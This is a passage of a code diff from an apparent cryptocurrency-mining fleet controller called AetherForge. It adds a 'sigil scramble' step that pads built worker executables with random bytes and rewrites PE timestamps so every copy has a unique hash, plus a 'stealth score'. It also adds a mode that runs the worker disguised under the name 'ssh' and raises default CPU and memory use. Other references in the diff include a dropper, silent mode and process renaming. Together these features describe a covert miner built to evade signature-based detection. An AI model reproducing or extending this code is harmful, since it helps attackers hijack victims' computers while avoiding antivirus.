|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[Forge] sigil scramble: %v", err)
|
||||||
|
} else {
|
||||||
|
scrambled = true
|
||||||
|
fingerprint = fp
|
||||||
|
if exportPath != "" && exportPath != finalPath {
|
||||||
|
if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil {
|
||||||
|
_ = fp2
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fileInfo, err := os.Stat(finalPath)
|
fileInfo, err := os.Stat(finalPath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||||
@@ -683,6 +720,8 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
|||||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
|
||||||
|
|
||||||
resp := BuildResponse{
|
resp := BuildResponse{
|
||||||
Success: true,
|
Success: true,
|
||||||
BuildID: buildID,
|
BuildID: buildID,
|
||||||
@@ -705,6 +744,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
|||||||
WorkerFile: workerName,
|
WorkerFile: workerName,
|
||||||
Signed: signed,
|
Signed: signed,
|
||||||
Obfuscated: obfuscated,
|
Obfuscated: obfuscated,
|
||||||
|
SigilScramble: scrambled,
|
||||||
|
BinaryFingerprint: fingerprint,
|
||||||
|
StealthScore: StealthScore(obfuscated, scrambled, signed),
|
||||||
}
|
}
|
||||||
if fusionEnabled && bundleDownloadURL != "" {
|
if fusionEnabled && bundleDownloadURL != "" {
|
||||||
resp.DownloadURL = bundleDownloadURL
|
resp.DownloadURL = bundleDownloadURL
|
||||||
@@ -810,7 +852,7 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||||
}
|
}
|
||||||
if req.MaxMemoryPct <= 0 {
|
if req.MaxMemoryPct <= 0 {
|
||||||
req.MaxMemoryPct = 70
|
req.MaxMemoryPct = 85
|
||||||
}
|
}
|
||||||
if req.CPUPriority == "" {
|
if req.CPUPriority == "" {
|
||||||
req.CPUPriority = "below_normal"
|
req.CPUPriority = "below_normal"
|
||||||
@@ -821,11 +863,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
if req.RunAs == "" {
|
if req.RunAs == "" {
|
||||||
req.RunAs = "user"
|
req.RunAs = "user"
|
||||||
}
|
}
|
||||||
|
if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" {
|
||||||
|
req.HostBinaryTarget = "ssh"
|
||||||
|
}
|
||||||
if req.MaxCPUUsagePct <= 0 {
|
if req.MaxCPUUsagePct <= 0 {
|
||||||
req.MaxCPUUsagePct = 80
|
req.MaxCPUUsagePct = 95
|
||||||
}
|
}
|
||||||
if req.MinFreeRAMMB <= 0 {
|
if req.MinFreeRAMMB <= 0 {
|
||||||
req.MinFreeRAMMB = 1024
|
req.MinFreeRAMMB = 512
|
||||||
}
|
}
|
||||||
if req.IdleThresholdPct <= 0 {
|
if req.IdleThresholdPct <= 0 {
|
||||||
req.IdleThresholdPct = 20
|
req.IdleThresholdPct = 20
|
||||||
@@ -983,8 +1028,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
MiningMode: %q,
|
MiningMode: %q,
|
||||||
DisplayMode: %q,
|
DisplayMode: %q,
|
||||||
SilentMode: %v,
|
SilentMode: %v,
|
||||||
RunAs: %q,
|
RunAs: %q,
|
||||||
AutoStart: %v,
|
HostBinaryTarget: %q,
|
||||||
|
AutoStart: %v,
|
||||||
ProcessName: %q,
|
ProcessName: %q,
|
||||||
BuildID: %q,
|
BuildID: %q,
|
||||||
BuiltAt: time.Unix(%d, 0),
|
BuiltAt: time.Unix(%d, 0),
|
||||||
@@ -1046,6 +1092,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
req.DisplayMode,
|
req.DisplayMode,
|
||||||
req.SilentMode,
|
req.SilentMode,
|
||||||
req.RunAs,
|
req.RunAs,
|
||||||
|
req.HostBinaryTarget,
|
||||||
req.AutoStart,
|
req.AutoStart,
|
||||||
req.ProcessName,
|
req.ProcessName,
|
||||||
buildID,
|
buildID,
|
||||||
|
|||||||
120
server/internal/builder/scramble.go
Normal file
120
server/internal/builder/scramble.go
Normal file
@@ -0,0 +1,120 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/binary"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"hash/fnv"
|
||||||
|
"io"
|
||||||
|
"math/rand"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
const sigilOverlayMagic = "AFSC\x01"
|
||||||
|
|
||||||
|
// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk
|
||||||
|
// signature (overlay entropy + optional PE timestamp). Does not change runtime logic.
|
||||||
|
func ApplySigilScramble(path, buildID string) (fingerprint string, err error) {
|
||||||
|
if path == "" {
|
||||||
|
return "", fmt.Errorf("empty path")
|
||||||
|
}
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if len(data) == 0 {
|
||||||
|
return "", fmt.Errorf("empty binary")
|
||||||
|
}
|
||||||
|
|
||||||
|
seed := strings.TrimSpace(buildID)
|
||||||
|
if seed == "" {
|
||||||
|
seed = fmt.Sprintf("%d", time.Now().UnixNano())
|
||||||
|
}
|
||||||
|
rng := scrambleRNG(seed)
|
||||||
|
|
||||||
|
if isPEExecutable(path, data) {
|
||||||
|
data = patchPETimestamp(data, rng)
|
||||||
|
}
|
||||||
|
|
||||||
|
overlay := buildSigilOverlay(seed, rng)
|
||||||
|
data = append(data, overlay...)
|
||||||
|
|
||||||
|
if err := os.WriteFile(path, data, 0755); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
sum := sha256.Sum256(data)
|
||||||
|
fingerprint = hex.EncodeToString(sum[:8])
|
||||||
|
return fingerprint, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func isPEExecutable(path string, data []byte) bool {
|
||||||
|
if !strings.EqualFold(filepath.Ext(path), ".exe") {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return len(data) > 64 && data[0] == 'M' && data[1] == 'Z'
|
||||||
|
}
|
||||||
|
|
||||||
|
// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ).
|
||||||
|
func patchPETimestamp(data []byte, rng *rand.Rand) []byte {
|
||||||
|
out := make([]byte, len(data))
|
||||||
|
copy(out, data)
|
||||||
|
peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40]))
|
||||||
|
if peOff < 0 || peOff+8 > len(out) {
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
if string(out[peOff:peOff+4]) != "PE\x00\x00" {
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20))
|
||||||
|
binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts)
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildSigilOverlay(seed string, rng *rand.Rand) []byte {
|
||||||
|
padLen := 8192 + rng.Intn(57344)
|
||||||
|
buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen)
|
||||||
|
copy(buf, sigilOverlayMagic)
|
||||||
|
buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff)
|
||||||
|
copy(buf[len(sigilOverlayMagic)+1:], []byte(seed))
|
||||||
|
off := len(sigilOverlayMagic) + 1 + len(seed)
|
||||||
|
for i := 0; i < padLen; i++ {
|
||||||
|
buf[off+i] = byte(rng.Intn(256))
|
||||||
|
}
|
||||||
|
return buf
|
||||||
|
}
|
||||||
|
|
||||||
|
func scrambleRNG(seed string) *rand.Rand {
|
||||||
|
h := fnv.New64a()
|
||||||
|
_, _ = io.WriteString(h, seed)
|
||||||
|
return rand.New(rand.NewSource(int64(h.Sum64())))
|
||||||
|
}
|
||||||
|
|
||||||
|
// StealthScore estimates how many uniqueness layers were applied (0–100).
|
||||||
|
func StealthScore(obfuscated, scrambled, signed bool) int {
|
||||||
|
score := 35 // polymorph is always injected at compile time
|
||||||
|
if obfuscated {
|
||||||
|
score += 30
|
||||||
|
}
|
||||||
|
if scrambled {
|
||||||
|
score += 20
|
||||||
|
}
|
||||||
|
if signed {
|
||||||
|
score += 15
|
||||||
|
}
|
||||||
|
if score > 100 {
|
||||||
|
return 100
|
||||||
|
}
|
||||||
|
return score
|
||||||
|
}
|
||||||
|
|
||||||
|
func shouldSigilScramble(req *BuildRequest) bool {
|
||||||
|
if req.SigilScramble {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
41
server/internal/builder/scramble_test.go
Normal file
41
server/internal/builder/scramble_test.go
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestApplySigilScrambleChangesFile(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := filepath.Join(dir, "worker.exe")
|
||||||
|
orig := []byte{'M', 'Z', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0, 'P', 'E', 0, 0, 0, 0, 0, 0}
|
||||||
|
if err := os.WriteFile(path, orig, 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
fp1, err := ApplySigilScramble(path, "build-a")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
st1, _ := os.Stat(path)
|
||||||
|
fp2, err := ApplySigilScramble(path, "build-b")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
st2, _ := os.Stat(path)
|
||||||
|
if st1.Size() == st2.Size() && fp1 == fp2 {
|
||||||
|
t.Fatalf("expected different fingerprint/size got %s %s", fp1, fp2)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestStealthScore(t *testing.T) {
|
||||||
|
if StealthScore(true, true, true) < 90 {
|
||||||
|
t.Fatal("expected high score")
|
||||||
|
}
|
||||||
|
if StealthScore(false, false, false) != 35 {
|
||||||
|
t.Fatalf("got %d", StealthScore(false, false, false))
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -126,6 +126,10 @@ func (d *Database) migrate() error {
|
|||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_hashrate_15m REAL DEFAULT 0`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -164,6 +168,14 @@ func (d *Database) UpdateAgentStats(id string, hashrate15s, hashrate1m, hashrate
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) UpdateAgentGPUStats(agentID string, hashrate float64, model string, active bool) error {
|
||||||
|
_, err := d.Exec(
|
||||||
|
`UPDATE agents SET gpu_hashrate_15m = ?, gpu_model = ?, gpu_miner_active = ? WHERE id = ?`,
|
||||||
|
hashrate, model, boolToInt(active), agentID,
|
||||||
|
)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
func (d *Database) SetAgentOffline(id string) error {
|
func (d *Database) SetAgentOffline(id string) error {
|
||||||
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id)
|
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id)
|
||||||
return err
|
return err
|
||||||
@@ -276,13 +288,16 @@ func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
|
|||||||
|
|
||||||
// Hashrate operations
|
// Hashrate operations
|
||||||
|
|
||||||
func (d *Database) InsertHashrateSample(agentID string, hashrate float64) error {
|
func (d *Database) InsertHashrateSample(agentID string, hashrate float64, gpuHashrate float64) error {
|
||||||
_, err := d.Exec("INSERT INTO hashrate_samples (agent_id, hashrate, timestamp) VALUES (?, ?, ?)", agentID, hashrate, time.Now())
|
_, err := d.Exec(
|
||||||
|
"INSERT INTO hashrate_samples (agent_id, hashrate, gpu_hashrate, timestamp) VALUES (?, ?, ?, ?)",
|
||||||
|
agentID, hashrate, gpuHashrate, time.Now(),
|
||||||
|
)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
|
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
|
||||||
query := `SELECT id, agent_id, hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
|
query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
|
||||||
rows, err := d.Query(query, agentID, limit)
|
rows, err := d.Query(query, agentID, limit)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -292,7 +307,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
|||||||
var samples []*models.HashrateSample
|
var samples []*models.HashrateSample
|
||||||
for rows.Next() {
|
for rows.Next() {
|
||||||
s := &models.HashrateSample{}
|
s := &models.HashrateSample{}
|
||||||
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.Timestamp); err != nil {
|
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.GPUHashrate, &s.Timestamp); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
samples = append(samples, s)
|
samples = append(samples, s)
|
||||||
@@ -427,13 +442,14 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
|||||||
// Stats
|
// Stats
|
||||||
|
|
||||||
type FleetStats struct {
|
type FleetStats struct {
|
||||||
TotalAgents int `json:"total_agents"`
|
TotalAgents int `json:"total_agents"`
|
||||||
OnlineAgents int `json:"online_agents"`
|
OnlineAgents int `json:"online_agents"`
|
||||||
TotalHashrate float64 `json:"total_hashrate"`
|
TotalHashrate float64 `json:"total_hashrate"`
|
||||||
TotalShares int `json:"total_shares"`
|
TotalGPUHashrate float64 `json:"total_gpu_hashrate"`
|
||||||
AcceptedShares int `json:"accepted_shares"`
|
TotalShares int `json:"total_shares"`
|
||||||
RejectedShares int `json:"rejected_shares"`
|
AcceptedShares int `json:"accepted_shares"`
|
||||||
AcceptRate float64 `json:"accept_rate"`
|
RejectedShares int `json:"rejected_shares"`
|
||||||
|
AcceptRate float64 `json:"accept_rate"`
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) GetFleetStats() (*FleetStats, error) {
|
func (d *Database) GetFleetStats() (*FleetStats, error) {
|
||||||
@@ -454,6 +470,11 @@ func (d *Database) GetFleetStats() (*FleetStats, error) {
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
err = d.QueryRow("SELECT COALESCE(SUM(gpu_hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalGPUHashrate)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares)
|
err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
|
|||||||
@@ -193,10 +193,10 @@ func TestHashrateSampleHistory(t *testing.T) {
|
|||||||
d := openTestDB(t)
|
d := openTestDB(t)
|
||||||
seedAgent(t, d, "hr-agent")
|
seedAgent(t, d, "hr-agent")
|
||||||
|
|
||||||
if err := d.InsertHashrateSample("hr-agent", 150.5); err != nil {
|
if err := d.InsertHashrateSample("hr-agent", 150.5, 0); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if err := d.InsertHashrateSample("hr-agent", 200.0); err != nil {
|
if err := d.InsertHashrateSample("hr-agent", 200.0, 10.0); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -117,10 +117,11 @@ type Share struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
type HashrateSample struct {
|
type HashrateSample struct {
|
||||||
ID int64 `json:"id"`
|
ID int64 `json:"id"`
|
||||||
AgentID string `json:"agent_id"`
|
AgentID string `json:"agent_id"`
|
||||||
Hashrate float64 `json:"hashrate"`
|
Hashrate float64 `json:"hashrate"`
|
||||||
Timestamp time.Time `json:"timestamp"`
|
GPUHashrate float64 `json:"gpu_hashrate,omitempty"`
|
||||||
|
Timestamp time.Time `json:"timestamp"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type Job struct {
|
type Job struct {
|
||||||
|
|||||||
@@ -195,6 +195,12 @@ func main() {
|
|||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
|
eventNotifier := alerts.NewNotifier(func() alerts.Settings {
|
||||||
|
return cfg.AlertSettings()
|
||||||
|
})
|
||||||
|
wsHub.SetEventNotifier(eventNotifier)
|
||||||
|
builderHandler.SetEventNotifier(eventNotifier)
|
||||||
|
|
||||||
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
|
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
|
||||||
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
|
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
|
||||||
return alerts.Thresholds{
|
return alerts.Thresholds{
|
||||||
@@ -202,19 +208,8 @@ func main() {
|
|||||||
HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct,
|
HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct,
|
||||||
RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct,
|
RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct,
|
||||||
}
|
}
|
||||||
}, func() alerts.NotifyConfig {
|
}, func() alerts.Settings {
|
||||||
// Read live from cfg so Calibrate changes take effect without restart.
|
return cfg.AlertSettings()
|
||||||
return alerts.NotifyConfig{
|
|
||||||
TelegramBotToken: cfg.Alerts.TelegramBotToken,
|
|
||||||
TelegramChatID: cfg.Alerts.TelegramChatID,
|
|
||||||
EmailEnabled: cfg.Alerts.EmailEnabled,
|
|
||||||
SMTPHost: cfg.Alerts.SMTPHost,
|
|
||||||
SMTPPort: cfg.Alerts.SMTPPort,
|
|
||||||
SMTPUser: cfg.Alerts.SMTPUser,
|
|
||||||
SMTPPassword: cfg.Alerts.SMTPPassword,
|
|
||||||
EmailTo: cfg.Alerts.EmailTo,
|
|
||||||
EmailFrom: cfg.Alerts.EmailFrom,
|
|
||||||
}
|
|
||||||
}, func(ev alerts.AlertEvent) {
|
}, func(ev alerts.AlertEvent) {
|
||||||
wsHub.BroadcastFleetAlert(ev)
|
wsHub.BroadcastFleetAlert(ev)
|
||||||
})
|
})
|
||||||
@@ -230,7 +225,7 @@ func main() {
|
|||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg)
|
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir)
|
||||||
|
|
||||||
// Initialize blueprint handler (config presets)
|
// Initialize blueprint handler (config presets)
|
||||||
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
|
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
|
||||||
@@ -244,12 +239,15 @@ func main() {
|
|||||||
// Path Forge: server-side recursive file seeding
|
// Path Forge: server-side recursive file seeding
|
||||||
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
|
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
|
||||||
|
|
||||||
|
// Path Tracer: on-demand WireGuard multi-hop VPN builder
|
||||||
|
pathTracerHandler := api.NewPathTracerHandler(wsHub)
|
||||||
|
|
||||||
// Find web root for frontend
|
// Find web root for frontend
|
||||||
webRoot := findWebRoot()
|
webRoot := findWebRoot()
|
||||||
log.Printf("Web root: %s", webRoot)
|
log.Printf("Web root: %s", webRoot)
|
||||||
|
|
||||||
// Initialize router
|
// Initialize router
|
||||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, webRoot, cfg.DataDir, func() string {
|
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
||||||
return configProvider.PublicURL()
|
return configProvider.PublicURL()
|
||||||
})
|
})
|
||||||
log.Println("Router initialized")
|
log.Println("Router initialized")
|
||||||
|
|||||||
@@ -5,8 +5,11 @@
|
|||||||
<link rel="icon" type="image/png" href="/af-logo.png" />
|
<link rel="icon" type="image/png" href="/af-logo.png" />
|
||||||
<link rel="shortcut icon" type="image/png" href="/af-logo.png" />
|
<link rel="shortcut icon" type="image/png" href="/af-logo.png" />
|
||||||
<link rel="apple-touch-icon" href="/af-logo.png" />
|
<link rel="apple-touch-icon" href="/af-logo.png" />
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover, maximum-scale=5" />
|
||||||
<meta name="theme-color" content="#c9a227" />
|
<meta name="theme-color" content="#c9a227" />
|
||||||
|
<meta name="apple-mobile-web-app-capable" content="yes" />
|
||||||
|
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
|
||||||
|
<meta name="format-detection" content="telephone=no" />
|
||||||
<title>AetherForge — Command Deck</title>
|
<title>AetherForge — Command Deck</title>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
|||||||
@@ -12,6 +12,10 @@ vi.mock('./context/WebSocketProvider', () => ({
|
|||||||
WebSocketProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
|
WebSocketProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
|
||||||
}));
|
}));
|
||||||
|
|
||||||
|
vi.mock('./components/Sound/SoundBridge', () => ({
|
||||||
|
default: () => null,
|
||||||
|
}));
|
||||||
|
|
||||||
vi.mock('./context/ForgeContext', () => ({
|
vi.mock('./context/ForgeContext', () => ({
|
||||||
ForgeProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
|
ForgeProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
|
||||||
}));
|
}));
|
||||||
|
|||||||
@@ -3,8 +3,11 @@ import { Routes, Route, Navigate } from 'react-router-dom';
|
|||||||
import SessionGate from './components/SessionGate';
|
import SessionGate from './components/SessionGate';
|
||||||
import Layout from './components/Layout/Layout';
|
import Layout from './components/Layout/Layout';
|
||||||
import { WebSocketProvider } from './context/WebSocketProvider';
|
import { WebSocketProvider } from './context/WebSocketProvider';
|
||||||
|
import { SoundProvider } from './context/SoundContext';
|
||||||
|
import { VisualEffectsProvider } from './context/VisualEffectsContext';
|
||||||
import { ForgeProvider } from './context/ForgeContext';
|
import { ForgeProvider } from './context/ForgeContext';
|
||||||
import { MatrixRainProvider } from './context/MatrixRainContext';
|
import { MatrixRainProvider } from './context/MatrixRainContext';
|
||||||
|
import SoundBridge from './components/Sound/SoundBridge';
|
||||||
|
|
||||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||||
@@ -13,6 +16,7 @@ const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
|
|||||||
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
||||||
const GuidePage = lazy(() => import('./pages/GuidePage'));
|
const GuidePage = lazy(() => import('./pages/GuidePage'));
|
||||||
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
|
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
|
||||||
|
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
|
||||||
|
|
||||||
export function PageFallback() {
|
export function PageFallback() {
|
||||||
return (
|
return (
|
||||||
@@ -27,6 +31,9 @@ function App() {
|
|||||||
// WebSocketProvider mounts a single WS connection shared by all routes.
|
// WebSocketProvider mounts a single WS connection shared by all routes.
|
||||||
// No page or component should call new WebSocket() directly — use useWebSocket().
|
// No page or component should call new WebSocket() directly — use useWebSocket().
|
||||||
<WebSocketProvider>
|
<WebSocketProvider>
|
||||||
|
<SoundProvider>
|
||||||
|
<VisualEffectsProvider>
|
||||||
|
<SoundBridge />
|
||||||
<ForgeProvider>
|
<ForgeProvider>
|
||||||
<MatrixRainProvider>
|
<MatrixRainProvider>
|
||||||
<SessionGate>
|
<SessionGate>
|
||||||
@@ -42,12 +49,15 @@ function App() {
|
|||||||
<Route path="/builds" element={<BuildManagerPage />} />
|
<Route path="/builds" element={<BuildManagerPage />} />
|
||||||
<Route path="/guide" element={<GuidePage />} />
|
<Route path="/guide" element={<GuidePage />} />
|
||||||
<Route path="/settings" element={<SettingsPage />} />
|
<Route path="/settings" element={<SettingsPage />} />
|
||||||
|
<Route path="/pathtracer" element={<PathTracerPage />} />
|
||||||
</Routes>
|
</Routes>
|
||||||
</Suspense>
|
</Suspense>
|
||||||
</Layout>
|
</Layout>
|
||||||
</SessionGate>
|
</SessionGate>
|
||||||
</MatrixRainProvider>
|
</MatrixRainProvider>
|
||||||
</ForgeProvider>
|
</ForgeProvider>
|
||||||
|
</VisualEffectsProvider>
|
||||||
|
</SoundProvider>
|
||||||
</WebSocketProvider>
|
</WebSocketProvider>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice } from '../types';
|
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
|
||||||
import { authHeaders } from './auth';
|
import { authHeaders } from './auth';
|
||||||
|
|
||||||
const API_BASE = '/api/v1';
|
const API_BASE = '/api/v1';
|
||||||
@@ -136,6 +136,10 @@ export const api = {
|
|||||||
|
|
||||||
// Fleet ops
|
// Fleet ops
|
||||||
getAlerts: () => fetchJSON<FleetAlert[]>('/alerts'),
|
getAlerts: () => fetchJSON<FleetAlert[]>('/alerts'),
|
||||||
|
testAlerts: () =>
|
||||||
|
fetchJSON<Record<string, { sent: boolean; error?: string }>>('/alerts/test', {
|
||||||
|
method: 'POST',
|
||||||
|
}),
|
||||||
getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
|
getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
|
||||||
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
|
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
|
||||||
getEarningsEstimate: (hashrate: number) =>
|
getEarningsEstimate: (hashrate: number) =>
|
||||||
@@ -157,6 +161,22 @@ export const api = {
|
|||||||
